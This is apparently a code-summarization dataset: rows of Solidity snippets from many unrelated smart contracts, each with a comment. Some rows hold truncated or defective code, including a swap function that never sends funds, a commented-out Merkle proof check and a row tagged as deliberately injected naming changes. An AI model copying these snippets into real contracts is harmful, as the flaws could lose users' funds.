file_name stringlengths 71 779k | comments stringlengths 0 29.4k | code_string stringlengths 20 7.69M | __index_level_0__ int64 2 17.2M |
|---|---|---|---|
./full_match/4/0x4631ceDADbF39677f5573A8034Cffc44237916f5/sources/_openzeppelin/contracts/token/ERC721/ERC721.sol | Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. The call is not executed if the target address is not a contract. from address representing the previous owner of the given token ID to target address that will receive the tokens tokenId uint256 ID of the token to be transferred da... | function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {
... | 653,879 |
./full_match/1/0x536580914cDA50C7B74BA2cB693A38fFa4784D82/sources/contracts/Metadata.sol | generates the Name as a string tokenId the tokenId | function getName(uint256 tokenId) internal view existsModifier(tokenId) returns (string memory) {
return cables[tokenId].name;
}
| 8,345,255 |
/*
Copyright 2017-2018 Phillip A. Elsasser
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or a... | allows for the owner to set the desired registry for contract creation. registryAddress desired registry address. | function setRegistryAddress(address registryAddress) external onlyOwner {
require(registryAddress != address(0));
marketContractRegistry = registryAddress;
}
| 1,767,830 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
/**
* @title PixelCons interface
* @dev Interface for the core PixelCons contract
*/
interface IPixelCons {
function getAdmin() external view returns(address);
//PixelCon Tokens
function create(address to, uint256 tokenId, bytes8 name) external payable ... | Bridge an Invader to L2 tokenId -ID of the Invader to bridge from -Address of current Invader PixelCon owner to -Address of desired Invader owner gasLimit -Amount of gas for messenger (advise to keep <=1900000)/require(tokenId != uint256(0), "Invalid ID"); duplicate require in 'ownerOf' functionrequire(from != addr... | function bridgeToL2(uint256 tokenId, address from, address to, uint32 gasLimit) public {
require(to != address(0), "Invalid address");
address pixelconOwner = IPixelCons(_pixelconsContract).ownerOf(tokenId);
require(pixelconOwner == _msgSender(), "Not owner");
address pixelconCreator = IPixelCons(_pixelc... | 6,851,185 |
./full_match/84531/0x52c853d209824Bc3aA462d5b20F810C01a870547/sources/src/interfaces/IOwnable.sol | Contract module which provides a basic access control mechanism, where there is an account (an owner) that can be granted exclusive access to specific functions. This ownership interface matches OZ's ownable interface./ | interface IOwnable {
error ONLY_OWNER();
error ONLY_PENDING_OWNER();
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
event OwnerPending(
address indexed previousOwner,
address indexed potentialNewOwner
);
event OwnerCa... | 11,521,178 |
./full_match/44787/0x36894871A4542f94eA0dF2C71e47fb4Ea5A06359/sources/feature-v2/Feature.sol | Compute the cost of arbitration. It is recommended not to increase it often, as it can be highly time and gas consuming for the arbitrated contracts to cope with fee augmentation. _extraData Can be used to give additional info on the dispute to be created. return fee Amount to be paid./ Appeal a ruling. Note that i... | function createDispute(uint256 _choices, bytes calldata _extraData)
public
payable
requireArbitrationFee(_extraData)
returns (uint256 disputeID)
function arbitrationCost(bytes calldata _extraData) public view virtual returns (uint256 fee);
function appeal(uint256 _disputeID... | 13,242,808 |
./partial_match/1/0x1e5Ec00e7598d3f60471e45138c5d3c5172326eB/sources/contracts/AvoFactory.sol | @inheritdoc IAvoFactory check that a smart wallet at index -1 already exists (if > 0) to guarantee sequential use (easier to iterate) | function deploy(address owner_, uint32 index_) external onlyEOA(owner_) returns (address deployedAvocado_) {
_transientDeployVersion = avoImpl;
if (_transientDeployVersion == address(0)) {
revert AvoFactory__ImplementationNotDefined();
}
if (index_ > 5 && !Address.isContr... | 9,166,815 |
./full_match/1/0x1a4076c26842501da0d6D879dd7A78810f8DA727/sources/contracts/Timeout.sol | fusion 2 evo5 for evo6. Requirements: - need evo5 blue and evo5 pink/ | function fusionEvo5(uint256 tokenId0, uint256 tokenId1) external onlyPhase05{
if (!_exists(tokenId0) || !_exists(tokenId1)) revert QueryForNonExistantTokenId();
if (ownerOf(tokenId0) != msg.sender || ownerOf(tokenId1) != msg.sender)
revert CallerNotOwnerOfTokenId();
DataLibrarry.Metadata memory meta... | 8,435,920 |
./full_match/8453/0x69f4D1788e39c87893C980c06EdF4b7f686e2938/sources/contracts/examples/guards/DebugTransactionGuard.sol | solhint-disable-next-line no-unused-vars | function checkTransaction(
address to,
uint256 value,
bytes memory data,
Enum.Operation operation,
uint256 safeTxGas,
uint256 baseGas,
uint256 gasPrice,
address gasToken,
address payable refundReceiver,
bytes memory,
address
... | 11,547,584 |
pragma solidity ^0.5.3;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also teste... | Safely transfers the ownership of a given token ID to another address If the target address is a contract, it must implement `onERC721Received`, which is called upon a safe transfer, and return the magic value `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, the transfer is reverted. R... | function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
)
public
{
transferFrom(from, to, tokenId);
require(_checkAndCallSafeTransfer(from, to, tokenId, _data));
}
| 1,012,498 |
./full_match/1/0x81E11c4701C5189b0122ef42DaF1fF3d453D968E/sources/contracts/wallet/SmartAccountProxyFactory.sol | Allows to create new proxy contact and execute a message call to the new proxy within one transaction. _singleton Address of singleton contract. initializer Payload for message call sent to new proxy contract. saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. ... | function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (SmartAccountProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0) {
bytes memory initdata... | 8,301,795 |
pragma solidity ^0.5.9;
import 'openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol';
//Beneficieries (validators) template
import "../helpers/ValidatorsOperations.sol";
contract DAIBridge is ValidatorsOperations {
IERC20 private token;
enum Status {PENDING,WITHDRAW,APPROVED, CANCELED, CONFIRMED}... | Approve finance by message ID when transfer pending/ | function approveTransfer(bytes32 messageID, address spender, bytes32 substrateAddress, uint availableAmount)
public validMessage(messageID, spender, substrateAddress, availableAmount) pendingMessage(messageID) onlyManyValidators {
Message storage message = messages[messageID];
... | 12,704,397 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise... | Private whitelist is always open (and free) | function _whitelistedMint(
Phases _phase,
uint256 _numberOfTokens,
bytes32[] calldata merkleProof_
) internal {
if (_phase != Phases.PRIVATE) {
require(_phase == phase, "invalid-mint-phase");
require(
msg.value == _getMintPrice() * _numberO... | 620,077 |
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
contract SwapETH {
struct DepositId {
Testnet testnet;
uint64 nonce;
}
enum Testnet{ ROPSTEN, RINKEBY, KOVAN, GOERLI }
event Received(uint64, address, uint256, Testnet);
uint64 public nonce;
address public owner;
mapping(Testnet => mapping (... | Shut the fuck up Solidity | function _transfer(address payable to, uint256 amount, Testnet from, uint64 fromNonce) internal {
if (!swapsCompleted[from][fromNonce]) {
swapsCompleted[from][fromNonce] = true;
success;
}
}
| 982,943 |
// File: openzeppelin-solidity/contracts/GSN/Context.sol
pragma solidity ^0.5.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direc... | Gets the token ID at a given index of all the tokens in this contract Reverts if the index is greater or equal to the total number of tokens. index uint256 representing the index to be accessed of the tokens list return uint256 token ID at the given index of the tokens list/ | function tokenByIndex(uint256 index) public view returns (uint256) {
require(index < totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
| 246,123 |
//Address: 0xcba6f10d1147b2c5a3d8d8cbd93c373b31c6c2c8
//Contract name: VuePayTokenSale
//Balance: 1.208 Ether
//Verification Date: 10/3/2017
//Transacion Count: 36
// CODE STARTS HERE
pragma solidity^0.4.17;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization co... | Allow changing the Vuepay MultiSig wallet incase of emergency | function changeVuePayETHDestinationAddress(address _newAddress) public onlyOwner {
vuePayETHDestination = _newAddress;
}
| 12,888,350 |
pragma solidity ^0.4.10;
/* taking ideas from FirstBlood token */
contract SafeMath {
/* function assert(bool assertion) internal { */
/* if (!assertion) { */
/* throw; */
/* } */
/* } // assert no longer needed once solidity is on 0.4.10 */
function safeAdd(uint256 x,... | Allows contributors to recover their ether in the case of a failed funding campaign. | function refund() external {
uint256 indiVal = balances[msg.sender];
if (indiVal == 0) revert();
balances[msg.sender] = 0;
}
| 6,346,293 |
pragma solidity ^0.4.20;
/*
*
* ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
* █░░░░░░░░▀█▄▀▄▀██████░▀█▄▀▄▀██████
* ░░░░ ░░░░░░░▀█▄█▄███▀░░░ ▀█▄█▄███
* So much bling you'll have to put shades on.
*
* https://www.timeanddate.com/countdown/generic?iso=20180409T23&p0=1505&font=cursive&csz=1... | Withdraws all of the callers earnings./ setup data update dividend tracker add ref. bonus lambo delivery service fire event | function withdraw()
onlyStronghands()
public
{
address _customerAddress = msg.sender;
payoutsTo_[_dataArchive] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_dataArchive.... | 1,988,784 |
pragma solidity ^0.4.21;
import "./Hosting.sol";
/*
This file contains the ProviderDatabase smart contract that serves to store data (service offerings, customers,
Service contracts per customer). It also offers important modifiers for the Provider smart contract and defines
events than can be emitted.
*/... | helping function that checks if an address (_person) is a customer of this provider | function isCustomer(address _person) internal view returns (bool) {
bool customer = false;
for (uint i = 0; i < customers.length; i++) {
if (_person == customers[i]) customer = true;
}
return customer;
}
| 15,866,149 |
pragma solidity >=0.4.21 < 0.6.0;
import "casper-pepow-token/contracts/ERC1913.sol";
import {PatriciaTree} from "solidity-patricia-tree/contracts/tree.sol";
contract GitKarmaToken is ERC1913 {
uint256 constant DAY = 86400;
using SafeMath for uint256;
uint256 timestamp;
bytes32 public anchorHash;
... | Verify merkle proof first PatriciaTree.verifyProof( finalizedCheckpoint, abi.encodePacked(_user), abi.encodePacked(_karma), _branchMask, _siblings ); Check previous karma Mint karma Update total karma Update timestamp if needed | function applyKarma(address _user, uint256 _karma, uint _branchMask, bytes32[] memory _siblings) public {
uint256 _prevKarma = karma[_user];
require(_prevKarma <= _karma, "Karma does not decrease");
uint256 _amountToMint = _karma.sub(_prevKarma);
_mint(_user, _amountToMint);
... | 12,908,155 |
pragma solidity ^0.6.0;
import "../../DS/DSMath.sol";
import "../../interfaces/TokenInterface.sol";
import "../maker/DaiJoin.sol";
import "../../interfaces/OtcInterface.sol";
import "../maker/ScdMcdMigration.sol";
import "./SaiTubLike.sol";
// This contract is intended to be executed via the Profile proxy of a user... | Get necessary MKR fee and move it to the migration contract Calculate necessary value of MKR to pay the govFee Calculate how much payGem is needed for getting govFee value Fails if exceeds maximum Set allowance, if necessary | function migratePayFeeWithGem(
) public returns (uint cdp) {
SaiTubLike tub = ScdMcdMigration(scdMcdMigration).tub();
(uint val, bool ok) = tub.pep().peek();
if (ok && val != 0) {
uint govFee = wdiv(tub.rap(cup), val);
uint payAmt = OtcInterface(otc).getPayAmount... | 12,597,358 |
pragma solidity >=0.4.22 <0.7.0;
contract EnergySource {
enum EnergySourceType { Unknown, Solar, Wind, Water, Gas }
// abstract contract fpr an energy EnergySource
string name = "n.a.";
uint min_output_kwh = 0;
uint max_output_kwh = 0;
uint8 damage = 0;
EnergySourceType... | // damage functions (get/set)// | function setDamage(uint8 _damage) public {
if (damage>0 && damage <101) {
damage = _damage;
}
}
| 12,697,463 |
pragma solidity ^0.4.18;
/**
Copyright (c) 2018 The Ocean.
Licensed under the MIT License: https://opensource.org/licenses/MIT.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without... | add an address to the whitelist addr address return true if the address was added to the whitelist, false if the address was already in the whitelist/ | function addAddressToWhitelist(address addr) onlyOwner public returns(bool success) {
if (!whitelist[addr]) {
whitelist[addr] = true;
WhitelistedAddressAdded(addr);
success = true;
}
}
| 1,371,300 |
./full_match/1/0x6c5687dEA14446d8a6ceeA02114A9a9F7e44E8F1/sources/ShibAIX.sol | useful for buybacks or to reclaim any ETH on the contract in a way that helps holders. generate the uniswap pair path of weth -> eth make the swap | function buyBackTokens(uint256 ETHAmountInWei) external onlyOwner {
address[] memory path = new address[](2);
path[0] = uniswapV2Router.WETH();
path[1] = address(this);
path,
address(0xdead),
block.timestamp
);
}
| 2,953,316 |
./full_match/8453/0x96e0039069cF405500cEb8D9e0A310B92CC223e5/sources/BRC20.sol | start trade and stop presale | function startTrade() external onlyOwner {
require(0 == startTradeBlock, "Trading");
startTradeBlock = block.number;
_startPresale = false;
}
bool private _startPresale = false;
uint256 private constant _perPresaleEth = 1 ether / 100;
uint256 private immutable _perPresaleTo... | 11,545,476 |
// File: @pancakeswap\pancake-swap-lib\contracts\math\SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because pr... | Update reward variables of the given pool to be up-to-date. | function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
if (pool.lpSupply == 0 || totalAllocPoint == 0) {
pool.lastRewardBlock = block.number;
return;
}
... | 2,536,773 |
./partial_match/97/0x4741b81992584c37c6bE14faAC9DD24A1CB55741/sources/Witty.sol | Returns the latest price of USDC/ If the round is not complete yet, timestamp is 0 | function getLatestPriceUSDC() public view returns (int) {
(
,
int price,
,
uint timeStamp,
) = priceFeedUSDC.latestRoundData();
require(timeStamp > 0, "Round not complete");
price = price/1e8;
return 100e18/pri... | 11,376,411 |
./partial_match/1/0x8593664d87662314Af9F333864D6ef35363eA1d4/sources/TokenLocker.sol | Interface of the ERC20 standard as defined in the EIP./ | interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
... | 15,704,241 |
pragma solidity ^ 0.4.25;
contract ERC223ReceivingContract {
/**
* @dev Standard ERC223 function that will handle incoming token transfers.
*
* @param _from Token sender address.
* @param _value Amount of tokens.
* @param _data Transaction metadata.
*/
function tokenFallback(address _from, uint ... | Initializes contract with initial supply tokens to the creator of the contract / | function XBV() {
uint256 _initialSupply = 100000000000000000000000000;
uint8 decimalUnits = 18;
initialSupply = _initialSupply;
owner = msg.sender;
gonePublic = false;
}
| 1,808,500 |
//Address: 0xC6D23c746d9b3d97D8281BD878A17CdFA90a9ac1
//Contract name: CustomPOAToken
//Balance: 0.0007065 Ether
//Verification Date: 3/29/2018
//Transacion Count: 37
// CODE STARTS HERE
pragma solidity 0.4.18;
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable con... | check if balance has met funding goal to move on to Pending _payAmount is just value sent get token amount from wei... drops remainders (keeps wei dust in contract) check that buyer will indeed receive something after integer division this check cannot be done in other case because it could prevent contract from moving... | function buy()
public
payable
checkTimeout
atStage(Stages.Funding)
isWhitelisted
returns (bool)
{
uint256 _payAmount;
uint256 _buyAmount;
if (fundedAmount.add(msg.value) < fundingGoal) {
_payAmount = msg.value;
_buyAmount = weiToTokens(_payAmount);
require(_buyA... | 12,650,371 |
./full_match/122/0x87310532dc1E2185023fb4cD02feD6f5B37852E2/sources/contracts/launchpad/Launchpad.sol | Returns the maximum buy amount for the user _user The address of the user/ | function getUserBuyAmount(address _user) public view returns (uint256) {
uint256 veVoltBalance = IVeVolt(
ILaunchpadFactory(launchpadFactory).veVolt()
).balanceOf(_user, snapshotTime);
uint256 stakedUserAllocation = Math.min(
veVoltBalance / veVoltPerProjectToken * (... | 16,367,560 |
./full_match/43114/0x0FEc28D1694914cF3cBF4EDa5EebeAf9E7B8e643/sources/project_/contracts/OnyxToken.sol | Update the transfer tax rate. Can only be called by the current operator./ | function updateTransferTaxRate(uint16 _transferTaxRate) public onlyOperator {
require(_transferTaxRate <= MAXIMUM_TRANSFER_TAX_RATE, "ONYX::updateTransferTaxRate: Transfer tax rate must not exceed the maximum rate.");
emit TransferTaxRateUpdated(msg.sender, transferTaxRate, _transferTaxRate);
transferTaxRate = _... | 4,520,146 |
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns(uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) intern... | Attach the token contract, can only be done once | function setTokenAddress(address _tokenAddress) external onlyOwner nonZeroAddress(_tokenAddress) {
require(isTokenDeployed == false);
token = NOLLYCOIN(_tokenAddress);
isTokenDeployed = true;
}
| 507,507 |
./partial_match/3/0x22962a4a71D09f34BAB99AabA5D34e6E35FF2f0c/sources/SmartStaking.sol | the amount per token for this user for this claim | function calculateReward(address _tokenAddr, address _staker) public view isValidToken(_tokenAddr) returns (uint) {
uint stakedAmount = stakeMap[_tokenAddr][_staker];
uint amountOwedPerToken = tokenCummulativeRewardPerStake[_tokenAddr].sub(userClaimableRewardPerStake[_tokenAddr][_staker]);
r... | 5,324,152 |
pragma solidity >=0.4.0 <0.6.0;
/*
Copyright 2017, Jordi Baylina, RJ Ewing
Contributors: Adrià Massanet <adria@codecontext.io>, Griff Green,
Arthur Lunn
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as publis... | idPledge the id of the pledge to load from storage return The Pledge | function _findPledge(uint64 idPledge) internal view returns(Pledge storage) {
require(idPledge < pledges.length);
return pledges[idPledge];
}
| 6,368,906 |
./full_match/3/0x65EbB9D4ED71854EbBc3ECbFb5Aa7895CeEFafFa/sources/contracts/Contract.sol | Withdraw LP tokens from Contract. | function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
if (pool.NFTisNeeded == true) {
require(
... | 8,170,194 |
./full_match/1/0x2C5e00ec69b27740CB8155736390ee7e74d279DB/sources/contracts/interfaces/external/univ3/IUniswapV3Factory.sol | The interface for the Uniswap V3 Factory The Uniswap V3 Factory facilitates creation of Uniswap V3 pools and control over the protocol fees | interface IUniswapV3Factory {
event OwnerChanged(address indexed oldOwner, address indexed newOwner);
event PoolCreated(
address indexed token0,
address indexed token1,
uint24 indexed fee,
int24 tickSpacing,
address pool
);
event FeeAmountEnabled(uint24 indexed ... | 16,590,725 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.12;
import './interface/ComptrollerInterface.sol';
//
// Lend token contract is forked and modified from venus' VToken contract
// LendREI is not ERC20 standard !!
//
contract LendREI{
function isLendToken() external pure returns(bool) {return true... | exchangeRate = invoke Exchange Rate Stored() / If redeemTokensIn > 0: / redeemAmount is 1e18 :: e18e18 / 1e18 redeemTokens is 1e18 :: e18 1e18 / e18 Fail gracefully if protocol has insufficient cash /feeAmount is 1e18 :: e18 e18 /1e18 | function redeemFresh(address redeemer, uint redeemTokensIn, uint redeemAmountIn) internal{
require(redeemTokensIn == 0 || redeemAmountIn == 0, "BAD_INPUT");
RedeemVars memory vars;
vars.exchangeRateMantissa = exchangeRateStored();
if (vars.exchangeRateMantissa == 0) {
... | 12,649,176 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "./interfaces/IResource.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/extensions/IERC20MetadataUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/E... | Withdraw LP tokens from the contract _pid The pool identifier where user withdraw LP tokens _amount The amount to withdraw | function withdraw(uint256 _pid, uint256 _amount) public nonReentrant {
require ( _pid < poolInfo.length , "withdraw: pool exists?");
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good amount"... | 12,674,155 |
pragma solidity ^0.4.24;
interface MilAuthInterface {
function requiredSignatures() external view returns(uint256);
function requiredDevSignatures() external view returns(uint256);
function adminCount() external view returns(uint256);
function devCount() external view returns(uint256);
funct... | updates masks for round and player when keys are bought/ 50/80 use to convert MFCoin 10/80 use to affiliate 20/80 use to general/if nobody hold MFCoin,so nobody get general,it will give foundation | function updateGenVaultAndMask(address _addr, uint256 _affID)
external
payable
{
require(msg.sender == address(milFold_), "no authrity");
if (msg.value > 0) {
uint256 converts = msg.value.mul(50).div(80);
uint256 tmpAffID = 0;
if (_affID == 0... | 909,836 |
./full_match/11155111/0x298F37fFd4B31d216B8954968cEe7EC5273CB891/sources/src/Drips.sol | Calculate effects of calling `receiveStreams` with the given parameters. accountId The account ID. erc20 The used ERC-20 token. It must preserve amounts, so if some amount of tokens is transferred to an address, then later the same amount must be transferable from that address. Tokens which rebase the holders' balanc... | function receiveStreamsResult(uint256 accountId, IERC20 erc20, uint32 maxCycles)
public
view
returns (uint128 receivableAmt)
{
(receivableAmt,,,,) = Streams._receiveStreamsResult(accountId, erc20, maxCycles);
}
| 3,819,334 |
pragma solidity ^0.4.19;
contract ETHRoyale {
address devAccount = 0x50334D202f61F80384C065BE6537DD3d609FF9Ab; //Dev address to send dev fee (0.75%) to.
uint masterBalance; //uint var for total real balance of contract
uint masterApparentBalance; //var for total apparent balance of contract (real balanc... | Check actual balance of all wallets | function checkGlobalBalance() public view returns (uint) {
return masterBalance;
}
| 6,462,598 |
pragma solidity ^0.8.0;
// Copyright 2020 Keyko GmbH.
// This product includes software developed at BigchainDB GmbH and Ocean Protocol
// SPDX-License-Identifier: (Apache-2.0 AND CC-BY-4.0)
// Code is Apache-2.0 and docs are CC-BY-4.0
/**
* @title Template Store Library
* @author Keyko & Ocean Protocol
*
* @dev ... | revoke new template _self is the TemplateList storage pointer _id approved template contract address/ | function revoke(
TemplateList storage _self,
address _id
)
internal
{
require(
_self.templates[_id].state == TemplateState.Approved,
'Template not Approved'
);
_self.templates[_id].state = TemplateState.Revoked;
_self.templates... | 12,605,991 |
// SPDX-License-Identifier: Apache-2.0
pragma solidity >=0.6.4 <0.8.0;
/// @title int256 Logic Utilities
/// @author Tyler R. Drury - 19/2/2021, All Rights Reserved
/// @notice trivial library for logical or bitwise operations on int256 not provided natively by Solidity.
library int256Logic
{
int256 public consta... | function not(int256 lhs)public pure returns(int256 ret){ret := not(lhs)} Greater Than > operatiors/ | function greaterThan(
int256 lhs,
int256 rhs
)internal pure returns(
bool ret
){
assembly{
ret := sgt(lhs, rhs)
}
}
| 5,547,928 |
pragma solidity ^0.4.15;
import 'zeppelin-solidity/contracts/math/SafeMath.sol';
import './TokenLifecycle.sol';
import './BurnableToken.sol';
import './VestedToken.sol';
/**
* @title A Finalizable Token
* @author Tavit Ohanian
* @dev Adapted from the OpenZeppelin library (FinalizableCrowdsale).
* @dev Extension ... | should be called after crowdsale ends, to do some extra finalization work/ | function finalize() internal {
super.finalize();
finalization();
}
| 5,451,610 |
// SPDX-License-Identifier: MIT LICENSE
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./interfaces/IWnDGame.sol";
import "./interfaces/ITrainingGrounds.sol";
imp... | Deterministically random. This assumes the call was a part of commit+reveal design that disallowed the benefactor of this outcome to make this call / | function random(uint16 tokenId, uint256 time, address owner) internal pure returns (uint256) {
return uint256(keccak256(abi.encodePacked(
owner,
tokenId,
time
)));
}
| 71,909 |
/**
*Submitted for verification at Etherscan.io on 2019-11-11
*/
pragma solidity 0.4.25;
contract E2D {
/*=================================
= MODIFIERS =
=================================*/
// only people with tokens
modifier onlyBagholders() {
require(myTokens() > 0... | check investor info | function _getMyDividents(bool withoutThrow) private {
address addr = msg.sender;
require(!isContract(addr),"msg.sender must wallet");
InvestorsStorage.investor memory investor = getMemInvestor(addr);
if(investor.keyIndex <= 0){
if(withoutThrow){
return;
... | 1,843,134 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.2;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts-upgradeable/utils/ReentrancyGuardUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradea... | distributes the effective balance to different actions the manager can keep a reserve in the vault by not distributing all the funds./ keep track of total percentage to make sure we're summing up to 100% | function _distribute(uint256[] memory _percentages) internal nonReentrant {
uint256 totalBalance = _effectiveBalance();
currentRoundStartingAmount = totalBalance;
uint256 sumPercentage;
for (uint8 i = 0; i < actions.length; i = i + 1) {
sumPercentage = sumPercentage.add(_percentages[i]);
... | 5,393,394 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;
import "./ERC20Capped.sol";
import "./SafeMath.sol";
/** @title Extension of {ERC20} that adds a cap to the supply of assets. */
contract Currency is ERC20Capped {
mapping(address => bool) internal allowedMinters; // whether anyone can mint assets (should be... | Mint ERC20 assets account Assets created for this account amount Number of assets to mint/ | function mint(address account, uint256 amount) public onlyMinter() {
_mint(account, amount);
}
| 1,076,305 |
./partial_match/3/0x66647D8933979cCD0128ddAe5D07FABe4FeB43DE/sources/BrandMarket.sol | assert(a <= b) return x a / b (precision can be lower if (xa) overflown)/ solium-disable-next-line security/no-assign-params assert(a < b); | function scaleDown(uint x, uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint y = x * a;
if (y / a == x) {
return y / b;
}
do {
x >>= 1;
++shifted;
y = x * a;
} while(y / ... | 5,193,336 |
pragma solidity ^0.4.24;
import "./common.sol";
import "../ScryToken.sol";
library verification {
event RegisterVerifier(string seqNo, address[] users);
event VoteResult(string seqNo, uint256 transactionId, bool judge, string comments, uint8 state, uint8 index, address[] users);
event VerifierDisable(stri... | validatedisable verifier and forfeiture deposit while credit <= creditThreshold | function gradeToVerifier(common.DataSet storage ds, string seqNo, uint256 txId, uint8 verifierIndex, uint8 credit) public {
require(credit >= ds.conf.creditLow && credit <= ds.conf.creditHigh, "0 <= credit <= 5 is valid");
common.TransactionItem storage txItem = ds.txData.map[txId];
require... | 990,670 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.3;
import "./AAVE/IERC20.sol";
import "./AAVE/IWETHGateway.sol";
import "./AAVE/IAToken.sol";
contract Lend {
address admin;
uint lastATokenBalance;
address[] userIndex;
struct UserStruct {
uint totalDeposited;
uint aTokenBalance;
... | Sends a percentage to the give address | function give() private {
scaleBalances();
uint _giveAmount = 0;
for (uint i; i < userIndex.length; i++) {
uint _giveableGain = userStructs[userIndex[i]].aTokenBalance - userStructs[userIndex[i]].savedInterest - userStructs[userIndex[i]].totalDeposited;
_giveAmount = ... | 12,898,282 |
./partial_match/3/0xc1254C6d9e35760b0c69cD52cE381e5CF45a2898/sources/XYZSwapPair.sol | volume = beforeReserve0 amount1In / beforeReserve1 + amount0In (normalized into amount in token 0)verify balance update is match with fomula | function verifyBalanceAndUpdateEma(
uint256 amount0In,
uint256 amount1In,
uint256 beforeReserve0,
uint256 beforeReserve1,
uint256 afterReserve0,
uint256 afterReserve1
) internal virtual returns (uint256 feeInPrecision) {
uint256 volume = beforeReserve0.mul... | 5,334,997 |
//No Colored Allowed by DappVinci
//The 'tokenURI' function returns SVG
// SPDX-License-Identifier: MIT
pragma solidity 0.7.0;
contract Ownable {
string public constant not_cur_owner108 = "018001"; //inject NONSTANDARD NAMING
string public constant no_... | inject NONSTANDARD NAMING | function OWNEROF456(uint256 _tokenId) external override view returns (address _owner){ | 15,841,695 |
pragma solidity ^0.4.18;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `own... | Returns the address currently assigned ownership of a given CobeFriend. Required for ERC-721 compliance. | function ownerOf(uint256 _tokenId)
external
view
returns (address owner)
{
owner = CobeFriendIndexToOwner[_tokenId];
require(owner != address(0));
}
| 13,736,971 |
// SPDX-License-Identifier: MIT
// Version: 0.1.0, 1/20/2021
pragma solidity >=0.6.2 <0.8.0;
import "../interface/IERC20.sol";
import "../interface/IPToken.sol";
import "../interface/ILToken.sol";
import "../interface/IOracle.sol";
import "../interface/ILiquidatorQualifier.sol";
import "../interface/IMigratablePool.... | Addition: uint256 + uint256/ | function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "MixedSafeMathWithUnit: uint256 addition overflow");
return c;
}
| 582,189 |
./full_match/1/0x5645d6aed039f484f8FCD2B59C39707380BE341D/sources/contracts/erc721/SLERC721AMinterUpgradeable.sol | Allow owner to change nft contract to mint newContract New ISLERC721AUpgradeable contract to mint | function setSLERC721AAddress(
ISLERC721AUpgradeable newContract
) external onlyOwner {
slerc721aContract = newContract;
}
| 16,443,327 |
